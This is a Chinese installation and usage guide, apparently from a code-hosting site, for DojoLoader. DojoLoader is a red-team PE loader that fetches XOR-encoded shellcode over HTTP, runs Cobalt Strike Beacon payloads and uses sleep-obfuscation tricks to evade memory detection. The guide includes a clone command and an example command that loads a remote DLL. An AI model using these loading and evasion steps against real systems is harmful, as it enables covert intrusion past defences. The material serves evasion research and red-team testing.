DojoLoader 项目安装与配置指南
2025-04-17 07:19:40作者:董斯意
1. 项目基础介绍
DojoLoader 是一个通用的 PE(Portable Executable)加载器,主要用于快速原型化和测试逃逸技术。该项目最初是为了减少使用 Cobalt Strike 的 UDRL(User-Defined Reflective Loader)调试时间而创建的,特别是针对没有 UDRL 的原始 Beacon 负载。DojoLoader 支持多种睡眠混淆技术,以规避调试和检测。
该项目主要使用的编程语言是 C。
2. 项目使用的关键技术和框架
- PE 加载器技术:负责从 HTTP 或文件加载并执行 XOR 编码的 shellcode。
- 动态 IAT(Import Address Table)钩子:用于动态地钩住 Sleep 函数,实现混淆。
- 睡眠混淆技术:实现了三种不同的睡眠混淆技术,包括 RW->RX、MemoryBouncing 和 MemoryHopping,这些技术旨在规避常见的 RX->RW 检测。
3. 项目安装和配置的准备工作与详细步骤
准备工作
在开始安装和配置 DojoLoader 之前,请确保您的系统满足以下要求:
- 操作系统:Windows
- 编译环境:支持 C 语言的编译器,如 Visual Studio
- 其他工具:Git(用于克隆项目)
安装步骤
-
克隆项目
打开命令行工具(如 PowerShell 或 CMD),然后输入以下命令来克隆项目:
git clone https://github.com/naksyn/DojoLoader.git这将在当前目录下创建一个名为
DojoLoader的文件夹,其中包含项目文件。 -
编译项目
打开 Visual Studio 或其他支持 C 语言的编译器,并加载
DojoLoader.sln解决方案文件。然后,编译整个项目。如果编译成功,将在项目目录下生成可执行文件。 -
配置和使用
- 从 URL 加载 PE 文件:使用
-d <url>参数指定 PE 文件的 URL。 - 从文件加载 PE 文件:使用
-f <file>参数指定 PE 文件的路径。 - 使用 XOR 密钥:如果 PE 文件被 XOR 编码,可以使用
-k <key>参数指定 XOR 密钥。 - 选择睡眠混淆技术:使用
-s <function>参数选择睡眠混淆技术,其中1或membounce代表 MemoryBouncing,2或memhop代表 Memory Hopping,3或RWRX代表经典的 RW->RX 技术。 - 使用 Cobalt Strike Beacon 负载:如果使用 Cobalt Strike Beacon 负载,请使用
-beacon参数。
例如,以下命令将从指定的 URL 加载 PE 文件,并使用 MemoryBouncing 睡眠混淆技术:
DojoLoader.exe -d http://example.com/path/to/pefile.dll -s 1 - 从 URL 加载 PE 文件:使用
按照以上步骤,您应该能够成功安装并配置 DojoLoader 项目,并开始使用它进行快速原型化和测试逃逸技术。
登录后查看全文
热门项目推荐
GLM-5智谱 AI 正式发布 GLM-5,旨在应对复杂系统工程和长时域智能体任务。Jinja00
GLM-5-w4a8GLM-5-w4a8基于混合专家架构,专为复杂系统工程与长周期智能体任务设计。支持单/多节点部署,适配Atlas 800T A3,采用w4a8量化技术,结合vLLM推理优化,高效平衡性能与精度,助力智能应用开发Jinja00
请把这个活动推给顶尖程序员😎本次活动专为懂行的顶尖程序员量身打造,聚焦AtomGit首发开源模型的实际应用与深度测评,拒绝大众化浅层体验,邀请具备扎实技术功底、开源经验或模型测评能力的顶尖开发者,深度参与模型体验、性能测评,通过发布技术帖子、提交测评报告、上传实践项目成果等形式,挖掘模型核心价值,共建AtomGit开源模型生态,彰显顶尖程序员的技术洞察力与实践能力。00
Kimi-K2.5Kimi K2.5 是一款开源的原生多模态智能体模型,它在 Kimi-K2-Base 的基础上,通过对约 15 万亿混合视觉和文本 tokens 进行持续预训练构建而成。该模型将视觉与语言理解、高级智能体能力、即时模式与思考模式,以及对话式与智能体范式无缝融合。Python00
MiniMax-M2.5MiniMax-M2.5开源模型,经数十万复杂环境强化训练,在代码生成、工具调用、办公自动化等经济价值任务中表现卓越。SWE-Bench Verified得分80.2%,Multi-SWE-Bench达51.3%,BrowseComp获76.3%。推理速度比M2.1快37%,与Claude Opus 4.6相当,每小时仅需0.3-1美元,成本仅为同类模型1/10-1/20,为智能应用开发提供高效经济选择。【此简介由AI生成】Python00
Qwen3.5Qwen3.5 昇腾 vLLM 部署教程。Qwen3.5 是 Qwen 系列最新的旗舰多模态模型,采用 MoE(混合专家)架构,在保持强大模型能力的同时显著降低了推理成本。00- RRing-2.5-1TRing-2.5-1T:全球首个基于混合线性注意力架构的开源万亿参数思考模型。Python00
项目优选
收起
deepin linux kernel
C
27
11
OpenHarmony documentation | OpenHarmony开发者文档
Dockerfile
569
3.84 K
Ascend Extension for PyTorch
Python
379
453
本项目是CANN提供的数学类基础计算算子库,实现网络在NPU上加速计算。
C++
893
676
暂无简介
Dart
802
199
openEuler内核是openEuler操作系统的核心,既是系统性能与稳定性的基石,也是连接处理器、设备与服务的桥梁。
C
350
203
昇腾LLM分布式训练框架
Python
118
147
Nop Platform 2.0是基于可逆计算理论实现的采用面向语言编程范式的新一代低代码开发平台,包含基于全新原理从零开始研发的GraphQL引擎、ORM引擎、工作流引擎、报表引擎、规则引擎、批处理引引擎等完整设计。nop-entropy是它的后端部分,采用java语言实现,可选择集成Spring框架或者Quarkus框架。中小企业可以免费商用
Java
12
1
🔥LeetCode solutions in any programming language | 多种编程语言实现 LeetCode、《剑指 Offer(第 2 版)》、《程序员面试金典(第 6 版)》题解
Java
68
20
🎉 (RuoYi)官方仓库 基于SpringBoot,Spring Security,JWT,Vue3 & Vite、Element Plus 的前后端分离权限管理系统
Vue
1.37 K
781